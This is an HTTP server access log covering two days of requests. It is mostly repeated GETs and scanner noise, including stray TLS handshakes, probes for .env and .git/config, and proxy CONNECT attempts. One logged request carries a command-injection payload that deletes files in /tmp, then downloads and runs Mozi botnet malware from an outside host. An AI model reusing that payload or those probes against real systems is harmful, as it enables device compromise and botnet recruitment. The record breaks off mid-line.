+185.16.39.146 - - [10/Jan/2026 10:53:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 10:58:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:02:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:06:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:12:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:16:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:20:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:24:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:30:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:34:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:38:18] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 11:42:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:42:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:47:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:52:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 11:56:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:00:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:04:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:09:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:14:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:18:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:22:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:26:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:31:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:36:01] "GET / HTTP/1.1" 200 - +130.12.182.3 - - [10/Jan/2026 12:40:01] code 501, message Unsupported method ('CONNECT') +130.12.182.3 - - [10/Jan/2026 12:40:01] "CONNECT 45.61.137.126:7227 HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 12:40:39] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [10/Jan/2026 12:41:06] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [10/Jan/2026 12:41:06] "GET / HTTP/1.1" 200 - +45.194.92.18 - - [10/Jan/2026 12:41:06] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [10/Jan/2026 12:41:06] code 400, message Bad request version ('À\\x13À') +45.194.92.18 - - [10/Jan/2026 12:41:06] code 404, message File not found +45.194.92.18 - - [10/Jan/2026 12:41:06] "\x16\x03\x01\x05¬\x01\x00\x05¨\x03\x03ÝT\x1ap\x12gÃΫXBP\x85\x19˼é=ö\x85\x14i}\x86\x1d\x9dA2å·që ¨Ñ>ó\x17<Õññ\x8c¡\x9b\x89Ä\x93~îR¨yÄA\x11çVG\x1dÄ*ñ\x95*\x00\x1aÀ+À/À,À0̨̩À\x09À\x13À" 400 - +45.194.92.18 - - [10/Jan/2026 12:41:06] "GET /index.htm HTTP/1.1" 404 - +45.194.92.18 - - [10/Jan/2026 12:41:06] code 400, message Bad request version ('encoding="UTF-8"?>') +45.194.92.18 - - [10/Jan/2026 12:41:06] "1111\x0c\x01\x00\x00\x04\x00\x00\x01\x1b\x09\x00\x00\x02\x01\x00\x00ü\x00\x00\x00admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00queryBasicCfg\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 - +45.194.92.18 - - [10/Jan/2026 12:41:07] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [10/Jan/2026 12:41:07] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +45.194.92.18 - - [10/Jan/2026 12:41:09] code 400, message Bad request syntax ('1111\\x88\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00%\\xad\\x11>') +45.194.92.18 - - [10/Jan/2026 12:41:09] "1111\x88\x00\x00\x00\x01\x01\x00\x00\x00%­\x11>" 400 - +185.16.39.146 - - [10/Jan/2026 12:43:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:49:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:53:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 12:57:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:02:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:06:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:10:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:15:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:20:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:24:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:27:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:31:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:37:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:40:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:46:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:49:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:55:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 13:59:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:02:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:07:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:11:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:16:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:20:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:25:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:29:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:34:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:38:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:43:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:47:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:52:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 14:56:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:00:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:04:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:09:40] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:14:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:19:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:22:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:27:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:31:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:36:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:40:59] "GET / HTTP/1.1" 200 - +45.194.92.12 - - [10/Jan/2026 15:41:20] code 404, message File not found +45.194.92.12 - - [10/Jan/2026 15:41:20] "GET /geoserver/wfs?request=ListStoredQueries&service=wfs&version=2.0.0 HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 15:45:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:49:31] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 15:53:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:54:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 15:58:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:02:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:07:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:12:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:16:25] "GET / HTTP/1.1" 200 - +82.207.55.26 - - [10/Jan/2026 16:20:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:21:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:24:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:29:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:33:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:38:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:42:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:46:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:51:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:54:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 16:59:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:03:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:09:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:11:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:17:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:20:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:25:20] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 17:25:23] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 17:25:23] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 17:29:59] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 17:31:59] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 17:31:59] "POST / HTTP/1.1" 501 - +130.12.180.122 - - [10/Jan/2026 17:34:03] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 17:34:03] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 17:34:05] "GET / HTTP/1.1" 200 - +13.86.104.14 - - [10/Jan/2026 17:35:32] "GET / HTTP/1.1" 200 - +13.86.104.14 - - [10/Jan/2026 17:35:33] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +13.86.104.14 - - [10/Jan/2026 17:35:33] "MGLNDD_83.222.24.31_8080" 400 - +185.16.39.146 - - [10/Jan/2026 17:37:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:42:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:46:40] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 17:48:46] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 17:48:46] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 17:51:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 17:56:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:00:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:04:52] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:08:19] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 18:12:46] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 18:12:46] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 18:13:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:17:15] "GET / HTTP/1.1" 200 - +3.91.156.27 - - [10/Jan/2026 18:19:20] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 18:22:38] "GET / HTTP/1.1" 200 - +198.235.24.96 - - [10/Jan/2026 18:22:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:22:51] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 18:25:08] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 18:25:08] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 18:26:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:31:01] "GET / HTTP/1.1" 200 - +134.209.86.24 - - [10/Jan/2026 18:32:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:35:37] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 18:38:47] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 18:38:47] "POST / HTTP/1.1" 501 - +130.12.180.122 - - [10/Jan/2026 18:39:35] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 18:39:35] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 18:41:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:44:57] "GET / HTTP/1.1" 200 - +198.235.24.125 - - [10/Jan/2026 18:47:51] "GET / HTTP/1.0" 200 - +185.16.39.146 - - [10/Jan/2026 18:48:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 18:52:54] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 18:55:18] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 18:55:18] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 18:58:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:01:28] "GET / HTTP/1.1" 200 - +18.116.101.220 - - [10/Jan/2026 19:02:38] code 404, message File not found +18.116.101.220 - - [10/Jan/2026 19:02:38] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 - +185.16.39.146 - - [10/Jan/2026 19:05:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:09:27] "GET / HTTP/1.1" 200 - +130.12.180.122 - - [10/Jan/2026 19:13:16] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 19:13:16] "POST / HTTP/1.1" 501 - +204.76.203.212 - - [10/Jan/2026 19:13:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:14:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:19:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:23:23] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:27:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:32:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:37:17] "GET / HTTP/1.1" 200 - +216.218.206.66 - - [10/Jan/2026 19:40:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:41:11] "GET / HTTP/1.1" 200 - +216.218.206.98 - - [10/Jan/2026 19:41:54] code 404, message File not found +216.218.206.98 - - [10/Jan/2026 19:41:54] "GET /favicon.ico HTTP/1.1" 404 - +130.12.180.122 - - [10/Jan/2026 19:42:48] code 501, message Unsupported method ('POST') +130.12.180.122 - - [10/Jan/2026 19:42:48] "POST / HTTP/1.1" 501 - +185.16.39.146 - - [10/Jan/2026 19:45:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:50:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:54:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 19:59:18] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 20:03:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:04:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:08:00] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:12:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:16:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:20:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:26:30] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:30:26] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:34:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:39:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:43:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:48:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:53:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 20:56:35] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 21:01:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [10/Jan/2026 21:05:22] "GET / HTTP/1.1" 200 - +20.115.83.250 - - [10/Jan/2026 21:21:28] code 404, message File not found +20.115.83.250 - - [10/Jan/2026 21:21:28] "GET /actuator/health HTTP/1.1" 404 - +36.112.104.133 - - [10/Jan/2026 21:40:39] "GET / HTTP/1.1" 200 - +158.51.110.34 - - [10/Jan/2026 22:42:59] code 501, message Unsupported method ('CONNECT') +158.51.110.34 - - [10/Jan/2026 22:42:59] "CONNECT www.baidu.com:443 HTTP/1.1" 501 - +158.51.110.34 - - [10/Jan/2026 22:43:00] code 501, message Unsupported method ('CONNECT') +158.51.110.34 - - [10/Jan/2026 22:43:00] "CONNECT www.baidu.com:443 HTTP/1.1" 501 - +143.110.187.65 - - [10/Jan/2026 23:22:02] code 400, message Bad request version ('À\\x14À') +143.110.187.65 - - [10/Jan/2026 23:22:02] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x036k\x19\x0b\x11\x9e(Lس«\x96\x1fN3&\x04`áfú¼Ù_«û+\x16=uñ\x9f\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +143.110.187.65 - - [10/Jan/2026 23:22:02] code 400, message Bad request version ('À\\x14À') +143.110.187.65 - - [10/Jan/2026 23:22:02] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03æ8\x9dZBHm\x91öW\x19¬f?\x00\x18o²ù´á.$e\x01[ÒÕ¢G\x85p\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +143.110.187.65 - - [10/Jan/2026 23:22:03] "GET / HTTP/1.1" 200 - +143.110.187.65 - - [10/Jan/2026 23:22:03] code 404, message File not found +143.110.187.65 - - [10/Jan/2026 23:22:03] "GET /download/powershell/ HTTP/1.1" 404 - +143.110.187.65 - - [10/Jan/2026 23:22:03] code 404, message File not found +143.110.187.65 - - [10/Jan/2026 23:22:03] "GET /get.php HTTP/1.1" 404 - +137.184.101.34 - - [10/Jan/2026 23:23:05] code 400, message Bad request version ('À\\x14À') +137.184.101.34 - - [10/Jan/2026 23:23:05] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x8f\x17=õü\x91e$\x8c³÷\x9cò\x08ؽ\x05%Ô\x0c£×\x00@´Em¯\x8b\x83ù±\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +137.184.101.34 - - [10/Jan/2026 23:23:06] code 400, message Bad request version ('À\\x14À') +137.184.101.34 - - [10/Jan/2026 23:23:06] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03õhºÚ]õ\x86l\x19\x03"tw¾\x0d¼-F¼çRT¢\x00LZ'À\x16GÒ¯\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +137.184.101.34 - - [10/Jan/2026 23:23:06] "GET / HTTP/1.1" 200 - +137.184.101.34 - - [10/Jan/2026 23:23:06] code 404, message File not found +137.184.101.34 - - [10/Jan/2026 23:23:06] "GET /download/powershell/ HTTP/1.1" 404 - +137.184.101.34 - - [10/Jan/2026 23:23:06] code 404, message File not found +137.184.101.34 - - [10/Jan/2026 23:23:06] "GET /get.php HTTP/1.1" 404 - +205.210.31.64 - - [10/Jan/2026 23:37:30] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [10/Jan/2026 23:48:15] "GET / HTTP/1.1" 200 - +171.105.76.57 - - [10/Jan/2026 23:52:38] code 400, message Bad request version ('À\\x13À') +171.105.76.57 - - [10/Jan/2026 23:52:38] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03F|\x83\x19Æó0Á\x1aîxn\x16Wjêfd½tÍ\x92=&ø\x85\x1b\x07\x90aÔ\x9b \\Å?@å°\x8b¨;\x1fAM¥]O²¢ná<¼ëÑgår¦\x97¹\x0b?¾\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +116.178.129.162 - - [10/Jan/2026 23:52:38] "GET / HTTP/1.1" 200 - +175.30.48.20 - - [10/Jan/2026 23:52:39] code 400, message Bad request version ('À\\x13À') +175.30.48.20 - - [10/Jan/2026 23:52:39] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03íåÐo©%Äè\x1aò1U\x82 \x91V#F\x09yô´\x957Á0d[S2}\x9a ÷󡵿«\x06µp\x89ea^\x1e ³`Y¥\x0eS(=Ü\x0e4Sñ\x90ã\x16ã\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +222.176.200.10 - - [10/Jan/2026 23:52:54] code 400, message Bad HTTP/0.9 request type ('USER') +222.176.200.10 - - [10/Jan/2026 23:52:54] "USER anonymous" 400 - +157.245.101.73 - - [11/Jan/2026 01:02:21] code 404, message File not found +157.245.101.73 - - [11/Jan/2026 01:02:21] "GET /.env HTTP/1.1" 404 - +157.245.101.73 - - [11/Jan/2026 01:02:21] code 404, message File not found +157.245.101.73 - - [11/Jan/2026 01:02:21] "GET /.git/config HTTP/1.1" 404 - +198.235.24.252 - - [11/Jan/2026 01:18:14] code 404, message File not found +198.235.24.252 - - [11/Jan/2026 01:18:14] "GET /.well-known/security.txt HTTP/1.1" 404 - +64.225.44.164 - - [11/Jan/2026 01:54:01] code 400, message Bad request syntax ('\\x00\\x0e8\\x81\\x9eÞé\\x8féÁ´\\x00\\x00\\x00\\x00\\x00') +64.225.44.164 - - [11/Jan/2026 01:54:01] "\x00\x0e8\x81\x9eÞé\x8féÁ´\x00\x00\x00\x00\x00" 400 - +159.203.18.252 - - [11/Jan/2026 01:54:46] "GET / HTTP/1.1" 200 - +159.203.18.252 - - [11/Jan/2026 01:54:47] code 404, message File not found +159.203.18.252 - - [11/Jan/2026 01:54:47] "GET /favicon.ico HTTP/1.1" 404 - +204.76.203.212 - - [11/Jan/2026 02:18:01] "GET / HTTP/1.1" 200 - +89.42.231.186 - - [11/Jan/2026 02:45:24] "GET / HTTP/1.1" 200 - +152.32.160.252 - - [11/Jan/2026 02:45:27] code 400, message Bad request syntax ('\\x16\\x03\\x01\\x00ü\\x01\\x00\\x00ø\\x03\\x03,ßC\\x83\\x83\\x11\\x99¯0EÂ') +152.32.160.252 - - [11/Jan/2026 02:45:27] "\x16\x03\x01\x00ü\x01\x00\x00ø\x03\x03,ßC\x83\x83\x11\x99¯0EÂ" 400 - +152.32.160.252 - - [11/Jan/2026 02:45:38] "GET / HTTP/1.1" 200 - +152.32.160.252 - - [11/Jan/2026 02:45:38] code 404, message File not found +152.32.160.252 - - [11/Jan/2026 02:45:38] "GET /favicon.ico HTTP/1.1" 404 - +152.32.160.252 - - [11/Jan/2026 02:45:38] code 404, message File not found +152.32.160.252 - - [11/Jan/2026 02:45:38] "GET /robots.txt HTTP/1.1" 404 - +152.32.160.252 - - [11/Jan/2026 02:45:39] code 404, message File not found +152.32.160.252 - - [11/Jan/2026 02:45:39] "GET /sitemap.xml HTTP/1.1" 404 - +152.32.160.252 - - [11/Jan/2026 02:45:39] "GET /game.js HTTP/1.1" 200 - +152.32.160.252 - - [11/Jan/2026 02:45:41] code 404, message File not found +152.32.160.252 - - [11/Jan/2026 02:45:41] "GET /config.json HTTP/1.1" 404 - +205.210.31.49 - - [11/Jan/2026 03:33:42] code 400, message Bad request version ('À\\x13À') +205.210.31.49 - - [11/Jan/2026 03:33:42] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x034ýÆ\x97üa\x95_JÁêãáPÌßåȳ?ÎôbÏ\x7f\x8eðf95\x97\x03 ¶÷PQ)FS\x89ÜW*Ê»º\x12]\x83¼Û\x1a\x98\x18cZ#Ó\x8aÅQãØ\x95\x00&À+À/À,À0̨̩À\x09À\x13À" 400 - +205.210.31.49 - - [11/Jan/2026 03:33:43] code 400, message Bad request version ('À(À$À\\x14À') +205.210.31.49 - - [11/Jan/2026 03:33:43] "\x16\x03\x01\x00Ê\x01\x00\x00Æ\x03\x03\x1b¡\x8eb\x9e\x1d¦\x1b\x95\x935\x90\x1e;°\x98\x1f7Ú\x0bK#q\x7f\x94ѯ\x8b\x15|%1\x00\x00hÌ\x14Ì\x13À/À+À0À,À\x11À\x07À'À#À\x13À\x09À(À$À\x14À" 400 - +138.23.104.122 - - [11/Jan/2026 04:11:15] code 404, message File not found +138.23.104.122 - - [11/Jan/2026 04:11:15] "GET /login HTTP/1.1" 404 - +36.255.18.215 - - [11/Jan/2026 04:32:14] code 404, message File not found +36.255.18.215 - - [11/Jan/2026 04:32:14] "GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://36.255.18.215:60461/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron HTTP/1.0" 404 - +118.25.182.175 - - [11/Jan/2026 05:12:21] "GET / HTTP/1.1" 200 - +205.210.31.253 - - [11/Jan/2026 05:34:01] code 404, message File not found +205.210.31.253 - - [11/Jan/2026 05:34:01] "GET /.well-known/security.txt HTTP/1.1" 404 - +193.142.146.230 - - [11/Jan/2026 05:42:05] code 404, message File not found +193.142.146.230 - - [11/Jan/2026 05:42:05] "GET /login HTTP/1.1" 404 - +147.185.132.43 - - [11/Jan/2026 06:18:16] code 404, message File not found +147.185.132.43 - - [11/Jan/2026 06:18:16] "GET /.well-known/security.txt HTTP/1.1" 404 - +204.76.203.212 - - [11/Jan/2026 06:26:23] "GET / HTTP/1.1" 200 - +3.149.59.26 - - [11/Jan/2026 06:38:44] "GET / HTTP/1.1" 200 - +3.149.59.26 - - [11/Jan/2026 06:41:02] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03²«ÑÐk\\x9chnµq\\x96\\x80ìBA¼eg\\x84\\x80\\x03gs1M\\x98©\\x8dK/F\\x97\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À') +3.149.59.26 - - [11/Jan/2026 06:41:02] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03²«ÑÐk\x9chnµq\x96\x80ìBA¼eg\x84\x80\x03gs1M\x98©\x8dK/F\x97\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +3.149.59.26 - - [11/Jan/2026 06:42:39] code 400, message Bad request syntax ('SSH-2.0-Go') +3.149.59.26 - - [11/Jan/2026 06:42:39] "SSH-2.0-Go" 400 - +3.149.59.26 - - [11/Jan/2026 06:44:46] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03vå2j\\x81\\x9f\\x80ì¦Ê\\x909C\\x9có6t\\x81¯!!\\x9eß\\x89÷"\\\\\\x84h°\\x04í\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À') +3.149.59.26 - - [11/Jan/2026 06:44:46] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03vå2j\x81\x9f\x80ì¦Ê\x909C\x9có6t\x81¯!!\x9eß\x89÷"\\\x84h°\x04í\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +104.236.75.167 - - [11/Jan/2026 07:10:27] code 400, message 